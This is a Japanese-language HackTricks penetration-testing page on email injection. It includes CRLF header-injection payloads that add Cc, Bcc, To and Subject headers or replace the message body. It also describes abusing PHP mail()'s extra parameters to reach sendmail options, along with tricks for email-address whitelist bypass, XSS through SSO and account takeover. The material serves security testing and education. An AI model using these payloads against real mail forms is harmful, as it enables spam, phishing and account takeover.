hacktricks/pentesting-web/email-injections.md

11 KiB
Raw Blame History

Email Injections


Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築し自動化します。
今すぐアクセスしてください:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

**htARTE (HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学びましょう!

HackTricksをサポートする他の方法

送信されたメールにインジェクト

送信者引数の後にCcとBccをインジェクト

From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com

引数のインジェクション

メッセージは受信者と受信者1のアカウントに送信されます。

From:sender@domain.com%0ATo:attacker@domain.com

サブジェクト引数をインジェクトします

From:sender@domain.com%0ASubject:This is%20Fake%20Subject

メッセージ本文の変更

2行の改行を挿入し、その後にメッセージを書いて、メッセージ本文を変更します。

From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.

PHP mail() 関数の悪用

# The function has the following definition:

php --rf mail

Function [ <internal:standard> function mail ] {
- Parameters [5] {
Parameter #0 [ <required> $to ]
Parameter #1 [ <required> $subject ]
Parameter #2 [ <required> $message ]
Parameter #3 [ <optional> $additional_headers ]
Parameter #4 [ <optional> $additional_parameters ]
}
}

第5パラメーター$additional_parameters

このセクションは、攻撃者がそれを制御すると仮定した場合に、このパラメーターを悪用する方法に基づいています。

このパラメーターは、PHPがバイナリsendmailを呼び出すために使用するコマンドラインに追加されます。ただし、escapeshellcmd($additional_parameters)関数でサニタイズされます。

攻撃者は、この場合にsendmailのための追加パラメーターを注入することができます。

/usr/sbin/sendmailの実装の違い

sendmailインターフェースは、システムにインストールされているMTAメールソフトウェアSendmail、Postfix、Eximなどによって提供されます。基本機能-t -i -fパラメータなどは互換性のために同じですが、その他の機能やパラメーターはインストールされているMTAによって大きく異なります。

以下は、sendmailコマンド/インターフェースの異なるマニュアルの例です:

sendmailの起源によって、それらを悪用してファイルを漏洩させたり、任意のコマンドを実行したりするための異なるオプションが発見されています。詳細はこちらを参照してください。

メール名に注入

メールの無視される部分

記号:+、-、および**{}**は、稀な場合にタグ付けや無視されるために多くのメールサーバーによって使用されることがあります。

**かっこ内のコメント()**は、先頭または末尾にある場合も無視されます。

ホワイトリストのバイパス

https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0

引用符

https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0

IPアドレス

角かっこ内にドメイン名としてIPアドレスを使用することもできます

  • john.doe@[127.0.0.1]
  • john.doe@[IPv6:2001:db8::1]

その他の脆弱性

https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0

サードパーティSSO

XSS

githubsalesforceなどの一部のサービスでは、XSSペイロードの含まれたメールアドレスを作成することができます。このプロバイダーを使用して他のサービスにログインし、このサービスがメールを適切にサニタイズしていない場合、XSSを引き起こす可能性があります。

アカウント乗っ取り

salesforceのようなSSOサービスが、与えられたメールアドレスを確認せずにアカウントを作成することを許可し、その後そのアカウントを使用してsalesforceを信頼する別のサービスにログインできる場合、任意のアカウントにアクセスできます。
salesforceは与えられたメールが確認されたかどうかを示しますが、アプリケーションはこの情報を考慮すべきです。

Reply-To

From: company.comReplay-To: attacker.comを使用してメールを送信し、メールが内部アドレスから送信されたために自動応答が送信される場合、攻撃者はその応答受信できるかもしれません。

ハードバウンス率

AWSなどの一部のサービスでは、通常10%に設定されたハードバウンス率として知られる閾値を実装しています。これは、特にメール配信サービスにとって重要なメトリックです。この率を超えると、AWSのメールサービスなどが一時停止またはブロックされる可能性があります。

ハードバウンスとは、受信者のアドレスが無効または存在しないために送信者に返送されたメールを指します。これは、メールが存在しないアドレスに送信されたり、実在しないドメインに送信されたり、受信サーバーがメールを受け入れないことによって発生する可能性があります。

AWSの場合、1000通のメールを送信し、そのうち100通がハードバウンス無効なアドレスやドメインなどの理由でになった場合、これは10%のハードバウンス率を意味します。この率に達すると、AWS SESSimple Email Serviceがメール送信機能をブロックまたは一時停止する可能性があります。

中断されないメールサービスを確保し、送信者の評判を維持するためには、低いハードバウンス率を維持することが重要です。メーリングリスト内のメールアドレスの品質を監視および管理することは、これを達成するのに大きく役立ちます。

詳細な情報については、AWSの公式ドキュメントであるAWS SES Bounce Handlingを参照してください。

参考文献

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:


Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化できます。
今すぐアクセスしてください:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}